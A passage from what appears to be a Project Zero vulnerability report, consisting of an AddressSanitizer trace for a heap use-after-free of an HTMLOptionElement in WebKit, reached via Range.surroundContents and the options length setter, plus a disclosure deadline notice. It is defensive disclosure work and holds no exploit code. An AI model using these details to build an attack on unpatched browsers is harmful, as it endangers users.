(/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4845a62) #95 0x1500b5db8 in WebCore::FrameLoader::finishedParsing()+0x1b8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4841db8) #96 0x14f2ad85e in WebCore::Document::finishedParsing()+0x2fe (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a3985e) #97 0x14fb13df4 in WebCore::HTMLConstructionSite::finishedParsing()+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x429fdf4) #98 0x14fb7cdcd in WebCore::HTMLTreeBuilder::finished()+0x1d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4308dcd) #99 0x14fb1c697 in WebCore::HTMLDocumentParser::end()+0x17 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x42a8697) #100 0x14fb1a358 in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd()+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x42a6358) #101 0x14fb1a270 in WebCore::HTMLDocumentParser::prepareToStopParsing()+0x110 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x42a6270) #102 0x14fb1c6df in WebCore::HTMLDocumentParser::attemptToEnd()+0x3f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x42a86df) #103 0x14fb1c779 in WebCore::HTMLDocumentParser::finish()+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x42a8779) #104 0x15003e8a0 in WebCore::DocumentWriter::end()+0x1a0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x47ca8a0) #105 0x15003d146 in WebCore::DocumentLoader::finishedLoading()+0x306 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x47c9146) #106 0x15003c980 in WebCore::DocumentLoader::notifyFinished(WebCore::CachedResource&, WebCore::NetworkLoadMetrics const&)+0x450 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x47c8980) #107 0x150200d1f in WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&)+0x17f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x498cd1f) #108 0x1501ee6be in WebCore::CachedResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&)+0x4e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x497a6be) #109 0x1501fd617 in WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&)+0x267 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4989617) #110 0x150177daa in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&)+0x65a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4903daa) #111 0x12140ca42 in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics&&)+0x2b2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x272fa42) #112 0x121dddfb7 in void IPC::callMemberFunctionImpl<WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::__1::tuple<WebCore::NetworkLoadMetrics>, 0ul>(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::__1::tuple<WebCore::NetworkLoadMetrics>&&, std::__1::integer_sequence<unsigned long, 0ul>)+0x47 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3100fb7) #113 0x121dddef7 in void IPC::callMemberFunction<WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::__1::tuple<WebCore::NetworkLoadMetrics>, std::__1::integer_sequence<unsigned long, 0ul> >(std::__1::tuple<WebCore::NetworkLoadMetrics>&&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&))+0x17 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3100ef7) #114 0x121dd3752 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&)>(IPC::Connection&, IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&))+0x152 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x30f6752) #115 0x121dd2a99 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&)+0x1f9 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x30f5a99) #116 0x1213f640e in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&)+0x10e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x271940e) #117 0x121f46f2c in IPC::Connection::dispatchMessage(IPC::Decoder&)+0x25c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3269f2c) #118 0x121f477e4 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)+0x2e4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x326a7e4) #119 0x121f48334 in IPC::Connection::dispatchOneIncomingMessage()+0x184 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x326b334) #120 0x121f61a05 in IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_16::operator()()+0x35 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3284a05) #121 0x121f6196c in WTF::Detail::CallableWrapper<IPC::Connection::enqueueIncomingMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >)::$_16, void>::call()+0xc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x328496c) #122 0x13aef25ae in WTF::Function<void ()>::operator()() const+0x3e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x3e5ae) #123 0x13afb51c8 in WTF::RunLoop::performWork()+0x238 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1011c8) #124 0x13afb838a in WTF::RunLoop::performWork(void*)+0xba (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x10438a) #125 0x7ff812c1a1aa in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__+0x10 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x801aa) #126 0x7ff812c1a112 in __CFRunLoopDoSource0+0xb3 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x80112) #127 0x7ff812c19e8c in __CFRunLoopDoSources0+0xf1 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7fe8c) #128 0x7ff812c188a7 in __CFRunLoopRun+0x37b (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7e8a7) #129 0x7ff812c17e6b in CFRunLoopRunSpecific+0x231 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x7de6b) #130 0x7ff813a75d09 in -[NSRunLoop(NSRunLoop) runMode:beforeDate:]+0xd7 (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0x5fd09) #131 0x7ff813b00786 in -[NSRunLoop(NSRunLoop) run]+0x4b (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation:x86_64+0xea786) #132 0x7ff81289b815 in _xpc_objc_main+0x304 (/usr/lib/system/libxpc.dylib:x86_64+0x15815) #133 0x7ff81289b238 in xpc_main+0x62 (/usr/lib/system/libxpc.dylib:x86_64+0x15238) #134 0x11fb28457 in WebKit::XPCServiceMain(int, char const**)+0x437 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe4b457) #135 0x121f11038 in WKXPCServiceMain+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3234038) #136 0x106e51e98 in main+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x100003e98) #137 0x10c96152d (/usr/lib/dyld:x86_64+0x552d) 0x60c000091ae0 is located 96 bytes inside of 120-byte region [0x60c000091a80,0x60c000091af8) freed by thread T0 here: #0 0x1072b00f6 in __sanitizer_mz_free+0x86 (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/12.0.5/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x490f6) #1 0x13b1401f4 in bmalloc::DebugHeap::free(void*)+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28c1f4) #2 0x13b140b23 in pas_debug_heap_free+0x33 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28cb23) #3 0x13b1399c1 in bmalloc_heap_config_specialized_try_deallocate_not_small_exclusive_segregated+0x881 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2859c1) #4 0x13b1490c8 in bmalloc::api::isoDeallocate(void*)+0x3d8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2950c8) #5 0x14f910afb in bmalloc::api::IsoHeap<WebCore::HTMLOptionElement>::deallocate(void*)+0xb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x409cafb) #6 0x14f910ae2 in WebCore::HTMLOptionElement::operator delete(void*)+0x12 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x409cae2) #7 0x14f915025 in WebCore::HTMLOptionElement::~HTMLOptionElement()+0x15 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40a1025) #8 0x14f44c8b3 in WebCore::Node::removedLastRef()+0x73 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd88b3) #9 0x14f2205b7 in WebCore::ContainerNode::removeChildren()+0x397 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39ac5b7) #10 0x14f21f6e0 in WebCore::ContainerNode::replaceAll(WebCore::Node*)+0x2f0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39ab6e0) #11 0x14f48a44b in WebCore::Range::surroundContents(WebCore::Node&)+0x48b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c1644b) #12 0x14d00f454 in WebCore::jsRangePrototypeFunction_surroundContentsBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSRange*)::'lambda'()::operator()() const+0x54 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x179b454) #13 0x14d00f0e2 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsRangePrototypeFunction_surroundContentsBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSRange*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsRangePrototypeFunction_surroundContentsBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSRange*)::'lambda'()&&)+0xe2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x179b0e2) #14 0x14d00ed71 in WebCore::jsRangePrototypeFunction_surroundContentsBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSRange*)+0x2f1 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x179ad71) #15 0x14d00e9f1 in long long WebCore::IDLOperation<WebCore::JSRange>::call<&(WebCore::jsRangePrototypeFunction_surroundContentsBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSRange*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*)+0x101 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x179a9f1) #16 0x14d006218 in WebCore::jsRangePrototypeFunction_surroundContents(JSC::JSGlobalObject*, JSC::CallFrame*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1792218) #17 0x2d205540c037 (<unknown module>) #18 0x13be52ead in llint_entry+0x1d17b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9eead) #19 0x13be35b28 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf81b28) #20 0x13d8a7a74 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x654 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x29f3a74) #21 0x13e2839b9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x49 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cf9b9) #22 0x13e283aaf in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfaaf) #23 0x13e283e6b in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfe6b) #24 0x14e953c5f in WebCore::JSExecState::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dfc5f) #25 0x14e9846d5 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&)+0xb05 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31106d5) #26 0x14f3c8c12 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase)+0x522 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b54c12) #27 0x14f3c84e8 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)+0x148 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b544e8) #28 0x14f3932f9 in WebCore::EventContext::handleLocalEvents(WebCore::Event&, WebCore::EventTarget::EventInvokePhase) const+0x429 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b1f2f9) #29 0x14f3bbf5c in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&)+0x11c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b47f5c) previously allocated by thread T0 here: #0 0x1072afcf0 in __sanitizer_mz_malloc+0xa0 (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/12.0.5/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x48cf0) #1 0x7ff81298aaba in _malloc_zone_malloc+0x7c (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x1daba) #2 0x13b140108 in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction)+0x28 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28c108) #3 0x13b140a38 in pas_debug_heap_malloc+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28ca38) #4 0x13b13ec31 in pas_debug_heap_allocate+0x21 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28ac31) #5 0x13b138d89 in bmalloc_heap_config_specialized_try_allocate_common_impl_slow+0x549 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284d89) #6 0x13b108bc9 in bmalloc_iso_allocate_impl_impl_slow+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x254bc9) #7 0x13b0d55fc in bmalloc_iso_allocate_impl_casual_case+0x22c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2215fc) #8 0x13b0d53c8 in bmalloc_iso_allocate_casual+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2213c8) #9 0x13b148610 in bmalloc::api::isoAllocate(__pas_heap_ref&)+0x1a0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x294610) #10 0x14f910ac0 in bmalloc::api::IsoHeap<WebCore::HTMLOptionElement>::allocate()+0x10 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x409cac0) #11 0x14f910aa5 in WebCore::HTMLOptionElement::operator new(unsigned long)+0x15 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x409caa5) #12 0x14f910bf9 in WebCore::HTMLOptionElement::create(WebCore::Document&)+0x19 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x409cbf9) #13 0x14f92b5ae in WebCore::HTMLSelectElement::setLength(unsigned int)+0x41e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40b75ae) #14 0x14f9141b2 in WebCore::HTMLOptionsCollection::setLength(unsigned int)+0x22 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40a01b2) #15 0x14c9fce34 in WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()::operator()() const+0x54 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188e34) #16 0x14c9fccf6 in void WebCore::invokeFunctorPropagatingExceptionIfNecessary<WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()&&)+0xd6 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188cf6) #17 0x14c9fca52 in WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)+0x292 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188a52) #18 0x14c8fdb43 in bool WebCore::IDLAttribute<WebCore::JSHTMLOptionsCollection>::set<&(WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, long long, long long, JSC::PropertyName)+0x113 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1089b43) #19 0x14c8fda28 in WebCore::setJSHTMLOptionsCollection_length(JSC::JSGlobalObject*, long long, long long, JSC::PropertyName)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1089a28) #20 0x13e4f5eb9 in WTF::FunctionPtr<(WTF::PtrTag)30177, bool (JSC::JSGlobalObject*, long long, long long, JSC::PropertyName), (WTF::FunctionAttributes)1>::operator()(JSC::JSGlobalObject*, long long, long long, JSC::PropertyName) const+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x3641eb9) #21 0x13e636ad4 in JSC::JSObject::putInlineSlow(JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0xb14 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x3782ad4) #22 0x13e60f947 in JSC::JSObject::put(JSC::JSCell*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0x8b7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x375b947) #23 0x14c8efc49 in WebCore::JSHTMLOptionsCollection::put(JSC::JSCell*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0x689 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x107bc49) #24 0x13de96858 in llint_slow_path_put_by_id+0x2008 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2fe2858) #25 0x13be40b5c in llint_entry+0xae2a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf8cb5c) #26 0x13be35b28 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf81b28) #27 0x13d8a7a74 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x654 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x29f3a74) #28 0x13e2839b9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x49 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cf9b9) #29 0x13e283aaf in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfaaf) SUMMARY: AddressSanitizer: heap-use-after-free (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2449ea) in WebCore::QualifiedName::localName() const+0x2a Shadow bytes around the buggy address: 0x1c1800012300: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x1c1800012310: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x1c1800012320: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c1800012330: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x1c1800012340: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa =>0x1c1800012350: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fa 0x1c1800012360: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x1c1800012370: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa 0x1c1800012380: 00 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc 0x1c1800012390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x1c18000123a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==46529==ABORTING This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. **The scheduled deadline is 2022-12-01**. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html Found by: [email protected]

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